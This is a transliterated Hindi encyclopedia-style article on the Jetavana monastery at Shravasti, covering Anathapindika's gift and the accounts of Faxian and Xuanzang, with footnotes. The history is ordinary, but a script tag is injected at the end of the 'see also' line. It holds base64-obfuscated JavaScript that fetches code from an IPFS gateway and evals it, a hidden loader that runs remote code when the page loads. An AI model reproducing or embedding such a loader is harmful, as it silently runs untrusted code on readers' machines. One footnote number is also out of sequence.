जेतवन श्रावस्ती
[[chitr:Jetavana.jpg|thumb|jetavan, shravasti]] jetavan tatha pubbaram bhagavan buddh ke jivan-kal mean shravasti ke dakshin mean sthit do prasiddh vaiharik adhishthan evan bauddhamat ke prabhavashali keandr the. bauddh granthoan ke anusar jetavan ka aropan, sanvardhan tatha paripalan jet namak ek rajakumar dvara kiya gaya tha.[1] rajagrih me venuvan aur vaishali ke mahavan ke hi bhaanti jetavan ka bhi vishesh mahattv tha.[2] is nagar mean nivas karane vale anathapiandak ne jetavan mean vihar[3], pariven[4], upasthan shalaean[5], kapiy kuti[6], chankram[7], pushkaraniyaan aur mandap banavae.[8] anathapiandak ke nimantran par bhagavan buddh shravasti sthit jetavan pahuanche. anathapindak ne unhean khady bhojy apane hathoan se arpit kar jetavan ko bauddh sangh ko dan kar diya. isamean anath piandak ko 18 karo d mudraoan ko vyay karana p da tha. ullekhaniy hai ki is ghatana ka aankan bharahut kala mean bhi hua hai.[9] tathagat ne jetavan mean pratham varshavas bodhi ke chaudahavean varsh mean kiya tha. isase yah nishchit hota hai ki jetavan ka nirman isi varsh (514-513 ee. varsh poorv) mean hua hoga. ullekhaniy hai ki jetavan ke nirman ke pashchath anathapindak ne tathagat ko nimantrit kiya tha.
jetavan vihar
[[chitr:Jetavan-Monastery-Temple-2.jpg|thumb|jetavan math, shravasti|250px]]
- jetavan vihar se uttar-pashchim char li ki doori par ‘chakshukarani’ namak ek van hai, jahaan janmaandh logoan ko shri buddhadev ki kripa se jyoti prapt huee thi. jetavan sangharam ke shraman bhojanaantar pray: is van mean baithakar dhyan lagaya karate the. phahyan ke anusar jetavan vihar ke poorvottar 6.7 li ki doori par mata vishakha dvara nirmit ek vihar tha.[10]
- phahyan pun: likhata hai ki jetavan vihar ke pratyek kamare mean, jahaan ki bhikshu rahate hai, do-do daravaze haian; ek uttar aur doosara poorv ki or. vatika us sthan par bani hai jise sudatt ne sone ki muharean bichhakar kharida tha. buddhadev is sthan par bahut samay tak rahe aur unhoanne logoan ko dharmopadesh diya. buddh ne jahaan chakraman kiya, jis sthan par baithe, sarvatr stoop bane haian, aur unake alag-alag nam hai. yahian par suandari ne ek manushy ka vadh karake shri buddhadev par dosharopan kiya tha.[11] phahyan age us sthan ko iangit karata hai jahaan par shri buddhadev aur vidharmiyoan ke bich shastrarth hua tha. yahaan ek 60 phut ooancha vihar bana hua tha.
- hvenasaang ke anusar jetavan math ke poorvi pradesh-dvar par do 70 phut ooanche prastar stanbh the. in stanbhoan ka nirman ashok ne karavaya tha. baean khanbhe mean vijay pratik svaroop chakr tatha daean khambhe par bail ki akriti bani huee thi.[102] hvenasaang age likhata hai ki anathapiandad vihar ke uttar-poorv ek stoop hai, vah yah vah sthan hai jahaan bhagavan buddh ne ek rogi bhikshu ko snan karakar rog-nivritt kiya tha.
- chitr:Seealso.gifjetavan shravasti ka ullekh in lekhoan mean bhi hai: shravasti, lalitavistar, gah daval vansh evan fahyan<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
- ↑ tanhi jeten rajakumaren ropitan sanvarddhiant paripalit. so ch tassi sami ahosi, tasma, jetavane ti vuchchati॥ papanchasoodani, bhag 1, prishth 60
- ↑ udayanarayan ray, prachin bharat mean nagar tatha nagar jivan, prishth 118
- ↑ bhikshu vishram sthal
- ↑ aanganayukt ghar
- ↑ sabhagrih
- ↑ bhandar
- ↑ tahalane ke sthan
- ↑ vinayapitak (hindi anuvad), prishth 462; buddhakalin bharatiy bhoogol, prishth 240; tul. vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi, 1963), prishth 61
- ↑ barua, bharahut, bhag 2, prishth 31
- ↑ jems legge, di trevals aph phahyan, prishth 59
- ↑ jems legge, di traivels aph phahyan, prishth 60
- aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar
sanbandhit lekh
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varnamala kramanusar lekh khoj
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